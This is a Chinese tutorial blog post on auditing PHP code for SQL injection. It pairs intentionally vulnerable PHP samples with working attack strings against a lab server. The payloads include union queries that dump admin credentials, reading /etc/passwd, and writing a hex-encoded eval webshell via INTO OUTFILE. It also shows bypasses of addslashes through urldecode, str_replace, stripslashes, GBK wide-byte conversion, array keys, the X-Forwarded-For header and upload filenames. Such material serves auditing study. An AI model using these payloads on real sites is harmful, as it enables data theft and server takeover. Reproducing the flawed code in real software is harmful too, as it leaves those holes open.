首页 > 数据库 >php代码审计【9】SQL 注入研究

php代码审计【9】SQL 注入研究

时间:2023-01-08 10:33:04浏览次数:55  
标签:审计 title SQL GET sql mysql php id


0x01报错注入及利用

0x0a 核心代码

现在注入的主要原因是程序员在写sql语句的时候还是通过最原始的语句拼接来完成,另外SQL语句有Select、Insert、Update和Delete四种类型,注入也是对这四种基本操作的拼接产生的。接下来笔者将以Select为例引导新手初步了解SQL注入。Select是数据库的查询操作,所以常常出现在像文章查看和搜索这些地方,缺陷代码如下:

<?php
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");

$id = isset($_GET['id']) ? $_GET['id'] : 1; //这里id没有做整形转换
//sql语句没有单引号保护,造成注入
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error());
echo $result;
?>

<html>
<head>
<meta charset="utf-8" />
<title> 新闻注入测试</title>
</head>

<body>
<?php
$row = mysql_fetch_array($result,MYSQL_ASSOC);
echo "<h3> {$row[title]}</h3> <p>{$row[conent]}</p>\n";
mysql_free_result($result);

?>
</body>
</html>

0x0b注入测试

1. 正常访问

​http://192.168.189.129/test.php​

php代码审计【9】SQL 注入研究_单引号

​http://192.168.189.129/test.php​​?id=1

​http://192.168.189.129/test.php​​?id=2

2. 测试字段数

PS:3 正常,4报错,说明有三个字段

​http://192.168.189.129/test.php​​?id=1 and 1=2 order by 3

​http://192.168.189.129/test.php​​?id=1 and 1=2 order by 4

3. 测试回显字段

PS: 2,3均回显,说明均是回显字段

​http://192.168.189.129/test.php​​?id=-1 union select 1,2,3

例如,在3字段测试user()函数

4. 查询当前库下的所有表

​http://192.168.189.129/test.php​​?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

5.测试表中的字段名称

PS:admin 的十六进制61646d696e  ; news十六进制 6e657773

​http://192.168.189.129/test.php​​?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e

7.读取linux系统文件(/etc/passwd,需转换为16进制)

ps:权限足够​​http://192.168.189.129/test.php​​?id=-1 union select 1,2,load_file(0x2f6574632f706173737764)

8. 权限足够的情况下写SHELL

​http://192.168.189.129/test.php​​​?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'--
若权限不足,换个目录
phpinfo页面
​​​http://192.168.189.129/test.php​​​?id=-1 union select 1,2,0x3c3f70687020706870696e666f28293b203f3e into outfile '/var/www/html/3.php'--
写个webshell(注意16进制转换时是一条语句)
​​​http://192.168.189.129/test.php​​?id=-1 union select 1,2,0x3c3f706870206576616c28245f504f53545b615d293b3f3e into outfile '/var/www/html/5.php'--

这里都没有截图,因为之前在web渗透基础已经研究过了,这里记录下自己的学习过程

0x02注入之编码防护

comon.php:

<?php

if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
//addslashes_deep函数会判断GPC是否开启,
//如果没有开启就会对GET、POST和COOKIE传递的参数进行转义。
//然而仅仅使用这种方式会存在很多绕过的情况。
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
if (!empty($_COOKIE))
{
$_COOKIE = addslashes_deep($_COOKIE);
}
function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
if (!get_magic_quotes_gpc())
{
$value=is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
}
else
{
$value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);
}
return $value;
}
}
?>

一些编码解码的函数像urldecode、base64decode的使用会导致绕过addslashes函数的全局防护,以urldecode函数为例,缺陷代码如下:

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = isset($_GET['id']) ? urldecode($_GET['id']) : 1;
$sql = "SELECT * FROM news WHERE id='{$id}'";
echo $sql;
$result = mysql_query($sql, $conn) or die(mysql_error());
?>

<html>
<head>
<meta charset="utf-8" />
<title> 新闻注入测试</title>
</head>

<body>
<?php
$row = mysql_fetch_array($result,MYSQL_ASSOC);
echo "<h3> {$row[title]}</h3> <p>{$row[conent]}</p>\n";
mysql_free_result($result);

?>
</body>
</html>

php代码审计【9】SQL 注入研究_mysql_02

​http://192.168.189.129/test.php?id=1%27​​  ,直接被转义 

php代码审计【9】SQL 注入研究_php_03

当输入 ​​http://192.168.189.129/test.php?​​?id=1%2527 ,发现我们已经绕过了

php代码审计【9】SQL 注入研究_php_04

​http://192.168.189.129/test.php​​?id=%2527 and 1=2 union select 1,2,user()%23 

php代码审计【9】SQL 注入研究_php_05

​http://192.168.189.129/test.php?id=-1%2527%20union%20select%201,2,concat(name,0x23,pass)%20from%20admin%23​

我这没有admin这个表,这里有这个sql语句就证明存在 

php代码审计【9】SQL 注入研究_php_06

 

注意,用这个代码更能说明问明白问题:

<?php
$a = addslashes($_GET['p']);
$b = urldecode($a);
echo '$a='.$a;
echo "<br/>";
echo '$b='.$b;
?>

php代码审计【9】SQL 注入研究_mysql_07

0x03函数错用致注入 

一些函数的错误使用会引发SQL注入的场景以及二次注入漏洞产生的原因。

0x0a 全局bypass的tips

1.函数的错误使用

1.1 replace函数

1.1.1 把单引号替换成空,\'变成了\  double条件情况下可继续注入  wooyun-2014-050636

1.1.2 replace 是用户可控的,就是说用户可以想把什么提交成空就提交成空

1.2 stripslashes函数

1.2.1 全局做过addslashes后,又使用stripslashes去掉转义造成注入 wooyun-2015-0122057

​http://www.2cto.com/Article/201301/182509.html​

2.二次注入

2.1 涉及到的是入库出库

在入库时经过全局转义,入库后转义符就小时,那么就是a',把这个查询出来,那么出库的就是a' 如果再带入到了查询,那么就成功的引入了单引号导致注入。

​http://www.cnbraid.com/2016/02/19/sql3​

 0x0b实例说明,函数误用str_replace

一些常用函数像str_replace、stripslashes的错误使用会导致绕过addslashes函数的全局防护,首先来看str_replace函数,有时写程序会使用str_replace函数将参数中的单引号、括号等字符替换为空,使用不当就会引发注入问题。缺陷代码如下:

testphp 如下,其中关键引用是str_replace

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$tmp_id = isset($_GET['id']) ? $_GET['id'] : 1;
$title = isset($_GET['title']) ? $_GET['title'] : 'news title';
$id = str_replace("'",'',$tmp_id);
$sql = "SELECT * FROM news WHERE id='{$id}' and title='{$title}'";
echo $sql.'<br />';
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

测试:​​http://192.168.189.129/test.php?id=-1%27&title=news%20title​

php代码审计【9】SQL 注入研究_php_08

发现参数id右边的单引号被反斜杠转义成字符了,说明又可以注入了。

简单分析下上面id参数的执行过程,-1’经过addslashes函数转义后变成了-1\’,然后再经过str_replace函数干掉了单引号变成了-1\,最后带入查询的语句才是下面这样:

SELECT * FROM news WHERE id='-1\'and title='news title'

 反斜杠转义了sql查询语句里id后面那个单引号,导致title参数可以构造sql注入语句了,我们直接构造获取管理员账户密码的语句

php代码审计【9】SQL 注入研究_单引号_09

0x0c 实例stripslashes函数

接下来我们再看下stripslashes函数,这个函数的定义是删除由addslashes() 函数添加的反斜杠,所以很明显使用不当的话就会引发SQL注入。缺陷代码如下:

stripslashes.php

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$tmp_id = isset($_GET['id']) ? $_GET['id'] : 1;
$id = stripslashes($tmp_id);
$sql = "SELECT * FROM news WHERE id='{$id}'";
echo $sql.'<br />';
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

​http://192.168.189.129/test.php?id=-1%27%20union%20select%201,2,concat(name,0x23,pass)%20from%20admin%23​

php代码审计【9】SQL 注入研究_mysql_10

 

 0X04 宽字节注入审计

0x0a bypass tips

1.数据库字符集GBK的宽字节注入

1.1数据库的连接方式不同(数据库与PHP的编码不一致,转换过程中可能存在)

1.2 错误方法:set names gbk

1.3 http://www.freebuf.com/articles/web/31537.html

2.转换字符集造成的宽字节注入

2.1 从GBK转到UTF8   wooyun-2014-055842

2.2 从UTF8转到GBK

0x0b说明

首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞。具体原理如下:

1、正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ‘ 就会被转义为: \’;

2、但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),之后在数据库查询前由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成了汉字“運”(注:GBK的汉字编码范围见附录),而单引号逃逸了出来,从而造成了注入漏洞。

现在基本上都会将mysql的连接配置为“setcharacter_set_client=binary”来解决这个问题,所以这篇文章将介绍出现在php中因为字符编码转换导致的注入问题。

0x0c 案例说明

分gbk转utf-8和utf-8转gbk两种情况。

GBK转UTF-8

缺陷代码

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') ordie('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$title_tmp = isset($_GET['title']) ? urldecode($_GET['title']) : 'news title';
//这里对title进行了gbk到utf-8的转换
$title = iconv("gbk","utf-8",$title_tmp);
$sql = "SELECT * FROM news WHERE title = '{$title}'";
echo$sql;
$result = mysql_query($sql, $conn) ordie(mysql_error());
?>

浏览器输入http://localhost/sqltest/kuanzifu1.php?title=%df‘union select 1,2,concat(name,0x23,pass) from admin%23  发现获取了管理员账户密码

php代码审计【9】SQL 注入研究_单引号_11

其实跟前言里第2条是一样的,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),然后%df%5c正好属于gbk的汉字编码范围,经过iconv转换到utf-8编码转换后变成了汉字“運”,从而吞掉了反斜杠使得单引号逃脱出来。

UTF-8转GBK

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') ordie('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$title_tmp = isset($_GET['title']) ? urldecode($_GET['title']) : 'news title';
$title = iconv("utf-8","gbk",$title_tmp);
$sql = "SELECT * FROM news WHERE title = '{$title}'";
echo$sql;
$result = mysql_query($sql, $conn) ordie(mysql_error());
?>

这里我们思考下“錦”这个字,它的utf-8编码是e98ca6,它的gbk编码是e55c,而上面提到过反斜杠\正好为5c。

所以如果我们将title设置为:錦’,首先经过addlashes函数或GPC对单引号转义变为:錦\’,然后会经过icnov函数会对”錦”转化为gbk编码,最后就是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),从而单引号逃逸出来就会引发注入漏洞。

直接获取管理员账户密码的POC如下:      ?title=錦‘ union select1,2,concat(name,0x23,pass) from admin%23

​http://192.168.189.129/test.php?title=%E9%8C%A6%E2%80%98%20union%20select%201,2,concat(name,0x23,pass)%20from%20admin%23​

0x05 注入之盲点 

0x0a 总体盲点(一)如下:

1.注入点类似id=1这种整型的参数就会完全无视GPC的过滤;

1.1 一般数字型的都不会加单引号

1.2 $id 没有被单引号且没有被强制转换  wooyun-2010-065605

1.3 过程中不全是数字型,忘记加单引号 wooyun-2014-079045

1.4 PHP弱类型语言,wooyun-2010-088872
2.注入点包含键值对的,那么这里只检测了value,对key的过滤就没有防护;

判断gpc是否开启,如果off就对数组中的value就行addslashes,没有对数组中的key进行转移,key带入SQL

wooyun-2010-069746    wooyun-2014-070353    wooyun-2014-070366    wooyun-2014-071516

3.有时候全局的过滤只过滤掉GET、POST和COOKIE,但是没过滤SERVER等变量。
附常见的SERVER变量(危险变量):QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE

3.1 获取用户IP并入库的变量X_FORWARDED_FOR

wooyun-2014-068853    wooyun-2010-0173485    wooyun-2010-0173201    wooyun-2010-0169337

3.2 检测IP的正则可被绕过(例如在cmseasy中验证IP的正则中(%+),导致后面可以写任意字符)

wooyun-2014-062957

0x0b 数字型注入

1.传入的参数未做intval转换、构造的sql语句没有单引号保护

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = isset($_GET['id']) ? $_GET['id']: 1;
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error());
?>

这种数字型的注入是全局防护的盲点,构造注入语句完全不需要单引号的支持,所以也就不存在转义了。例如我们直接构造获取管理员账户密码的POC:?id=-1  union select 1,2, concat(name,0x23,pass) from admin%23

2.php弱类型语言,判断逻辑错误引发注入

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = isset($_GET['id']) ? $_GET['id']: 1;
if($id<1){
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error());
}
?>

当然前提是数字型的注入,这里特殊之处在于增加了个if($id<1)的逻辑判断,但PHP弱类型语言在逻辑判断上0<1和0 union select 1<1是等价的,都返回True。所以构造获取管理员账户密码的POC:

id=0 union select 1,2,concat(name,0x23,pass)from admin %23

3.过程中不全是数字型,忘记加单引号

这种情况是在第一条sql语句里是有单引号保护的,紧接着第二条sql语句没有单引号保护引发的注入,缺陷的代码如下:

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = isset($_GET['id']) ? $_GET['id']: 1;
$sql = "SELECT * FROM news WHERE id='".$id."'";
$result = mysql_query($sql, $conn) or die(mysql_error());
$sql2 = "SELECT * FROM news WHERE id=".$id;
$result2 = mysql_query($sql2, $conn) or die(mysql_error());
?>

?id=-1  union select 1,2,concat(name,0x23,pass)from admin %23

0x0c 数组类型,全局防护只过滤了value/key,未过滤代入查询

全局防护的代码只对数组中的vaule进行了过滤,key未过滤引发注入,全局防护缺陷代码如下(commonnew.php):

<?php
if (!empty($_GET))
{
$_GET=Add_S($_GET);
}
if (!empty($_POST))
{
$_POST=Add_S($_POST);
}
if (!empty($_COOKIE))
{
$_COOKIE=Add_S($_COOKIE);
}

function Add_S($array){
foreach($array as $key=>$value){
if(!is_array($value)){
$value=str_replace("&#x","& # x",$value); //过滤一些不安全字符
$value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;
}

可以看到,对GET、POST和COOKIE传递的数组参数只过滤了value,忽视了key,漏洞代码如下:

<?php
require_once('commonnew.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$title = isset($_POST['title']) ? $_POST['title']: 1;
foreach($title as $key=>$value){
$sql = "SELECT * FROM news WHERE id='".$key."' and title='".$value."'";
$result = mysql_query($sql, $conn) or die(mysql_error());
}

?>

虽然查询语句中WHERE id=’”.$key.”'有单引号保护,但是全局防护代码就没过滤key就存在注入了,首先POST请求下:

title[1]=news title 发现可以获取正常内容:

构造获取管理员账户密码的POST请求

title[-1' union select 1,2,concat(name,0x23,pass) from admin%23]=news title

0x0d SERVER变量未过滤

上面的全局防护只过滤了GET、POST和COOKIE而忽略了SERVER变量,SERVER变量的注入常常发生在获取用户ip并入库的函数上,类似如下代码:

//获取访问者IP(PHP代码/函数)    
function get_ip(){
if(getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),"unknown")){
$ip=getenv("HTTP_CLIENT_IP");
}else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),"unknown")){
$ip=getenv("HTTP_X_FORWARDED_FOR");
}else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),"unknown")){
$ip=getenv("REMOTE_ADDR");
}else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],"unknown")){
$ip=$_SERVER['REMOTE_ADDR'];
}else{
$ip="unknown" ;
}
return $ip;
}

 通过$_SERVER变量获取客户端ip且可以通过X_FORWARDED_FOR伪造,然后这里对X_FORWARDED_FOR是没有任何正则处理的,所以可以构造注入语句,缺陷代码如下:

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = get_ip();
$sql = "SELECT * FROM news WHERE id='".$id."'";;
$result = mysql_query($sql, $conn) or die(mysql_error());
?>

这里可以在请求中添加获取管理员账户密码的POC为

X-Forwarded-For:-1' union select 1,2,concat(name,0x23,pass) from admin#,

由于SERVER变量没过滤所以这里单引号保护也就没用了。

0x06 【续】注入之盲点

0x0a盲点如下:
1.FILES注入,全局只转义掉GET、POST等传来的参数,遗漏了FILES;

1.1 全局只对COOKIE GET POST 转义,遗漏了FILES,且不受GPC(FILES 注入一般是因为上传,会把上传的名字带到insert当中入库)

1.2 wooyun-2014-065837

1.3 入库时候对文件的名字进行了转义,在获取后缀后在入库时对文件名的转义却没有对后缀转义,导致注入

1.4 wooyun-2010-079041
2.变量覆盖,危险函数:extract()、parse_str()、$$。

2.1 extract($POST)直接从POST数组中取出变量,覆盖掉之前的一些变量,覆盖的话一般是覆盖掉表前缀之类

2.2 select * from $pre_admin where xxx像这种的就覆盖掉$pre,然后补全语句注入

2.3 wooyun-2014-053189

2.4 wooyun-2014-051734

2.5 $$ wooyun-2010-055338

0x0b FILES注入

FILES注入一般情况是是因为上传时把上传的名字带到insert入库产生的,这里看下tipask问答系统,首先看看它的全局防护是怎么处理的:

index.php:
include TIPASK_ROOT . '/model/tipask.class.php';

$tipask = new tipask();
$tipask->run();
... ...
function init_request(){
... ...
$this->get = taddslashes($this->get, 1);
$this->post = taddslashes(array_merge($_GET, $_POST));
checkattack($this->post, 'post');
checkattack($this->get, 'get');
unset($_POST);
}

可以看到对get和post传来的数据进行了addslashes特殊转义处理,对$_FILES没有任何处理操作,我们全局搜索$_FILES,发现/control/attach.php有上传处理,我们跟进:

function onupload() {
//上传配置
$config = array(
"uploadPath" => "data/attach/", //保存路径
"fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式
"fileSize" => 10 //文件大小限制,单位MB
);

//文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜
$state = "SUCCESS";
$clientFile = $_FILES["upfile"];
if (!isset($clientFile)) {
echo "{'state':'文件大小超出服务器配置!','url':'null','fileType':'null'}"; //请修改php.ini中的upload_max_filesize和post_max_size
exit;
}

//格式验证
$current_type = strtolower(strrchr($clientFile["name"], '.'));
if (!in_array($current_type, $config['fileType'])) {
$state = "不支持的文件类型!";
}
//大小验证
$file_size = 1024 * 1024 * $config['fileSize'];
if ($clientFile["size"] > $file_size) {
$state = "文件大小超出限制!";
}
//保存文件
if ($state == "SUCCESS") {
$targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.');
$result = $_ENV['attach']->movetmpfile($clientFile, $targetfile);
if (!$result) {
$state = "文件保存失败!";
} else {
$_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0);
}
}
//向浏览器返回数据json数据
echo '{"state":"' . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"' . $clientFile["name"] . '"}';
}
复制代码

可以看到这句$_ENV[‘attach’]->add($clientFile[“name”]…),将$clientFile[name] = $_FILES[“upfile”][name]带入了如下add入库的操作,从而造成注入。

function add($filename,$ftype,$fsize,$location,$isimage=1) {
$uid=$this->base->user['uid'];
$this->db->query("INSERT INTO ".DB_TABLEPRE."attach(time,filename,filetype,filesize,location,isimage,uid) VALUES ({$this->base->time},'$filename','$ftype','$fsize','$location',$isimage,$uid)");
return $this->db->insert_id();
}

上传一个文件,然后修改文件名称为以下代码即可获取管理员账户密码:

filename="1','.php',1,(select concat(username,0x23,password) from ask_user limit 1),2,1)#.jpg

 0x0c 变量覆盖

 出现比较多的是extract函数,例如extract($_POST)会直接从POST数组中取出变量,覆盖掉之前的一些变量。

<?php
$a = "init test";
@extract($_POST);
#print_r($a);
echo $a;
?>

之前出现过案例是覆盖表前缀上,例如sql执行语句如下:
select title,content from {$pre}news where id=1
然后攻击者直接浏览器提交pre=“获取敏感信息的语句”来覆盖表前缀从而实现注入攻击。

$$变量覆盖
原理其实跟上面一样,有个很经典的$$变量覆盖的代码:

<?php
$a= "init test";
foreach(array('_COOKIE','_POST','_GET')as $_request){
foreach($$_request as $_key=>$_value){
$$_key = addslashes($_value);
}
}
echo $a;
?>

php代码审计【9】SQL 注入研究_单引号_12

标签:审计,title,SQL,GET,sql,mysql,php,id
From: https://blog.51cto.com/sunjikui/5996537

相关文章

  • MySQL17 - DML基本语法 - 增删改
    DML基本语法-增删改DATE和DATETIME两个类型的区别DATE是短日期:只包括年-月-日默认格式:%Y-%m-%dDATETIME是长日期:包括年-月-日-时-分-秒默认格式:%Y-......
  • MSSQL数据库提权之XP_cmdshell提权
    xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。启用xp_cmdshell:EXEC......
  • MySQL数据库提权之UDF提权和MOF提权
    UDF提权概念:udf的设计初衷是为了方便用户自定义一些函数,方便查询一些复杂的数据,同时也增加了使用udf提权的可能。攻击者通过编写调用cmd或者shell的udf.dll文件,并且导入......
  • MySQL16 - DDL基本语法
    DDL基本语法创建学生表,包括学号、姓名、年龄、性别、邮箱地址CREATETABLEt_student( noINT, nameVARCHAR(32), sexCHAR(1)DEFAULT'm', ageINT(3), emailV......
  • [C++/Java/Py/C#/Ruby/Swift/Go/Scala/Kotlin/Rust/PHP/TS/Elixir/Dart/Racket/Erlang
    目录题解地址代码cppjavapython3C#rubyswiftgolangscalakotlinrustphptypescriptelixirdartracketerlang题解地址https://leetcode.cn/problems/counting-words-with-a-g......
  • 查看SQL Server 数据库表信息
    Sqlserver查询所有表名及其描述​selecttop1000ROW_NUMBER()OVER(ORDERBYa.name)ASNo,a.nameAS表名,CONVERT(NVARCHAR(100),isnull(g.[value],'-'))AS......
  • 11.动态SQL
    什么是动态SQL:动态SQL就是指根据不同的条件生成不同的SQL语句if:这条语句提供了可选的查找文本功能。//动态sql--ifList<Blog>getBlog(Map<String,Object>map);<s......
  • MYSQL在Linux的安装
    MYSQL在Linux的安装Centos7centos默认带有mariadb,与mysql冲突1、检测当前系统中是否安装MySQLrpm-qa|grepmysql2、卸载已经安装的冲突软件rpm-e--n......
  • 数据分析中的SQL如何解决业务问题
    本文来自知乎问答。提问:数据分析人员需要掌握sql到什么程度?请问做一名数据分析人员,在sql方面需要掌握到什么程度呢?会增删改查就可以了吗?还是说关于开发的内容也要会?不同......
  • 通知:PostgreSQL证书领取(初级)
    PCA7天训练营第13营、PCA7天训练营第14营、PCA7天训练营第15营、PCA7天训练营第16营证书已由工业和信息化部教育与考试中心进行制作。​ 该批次证书发放事宜通知如下:......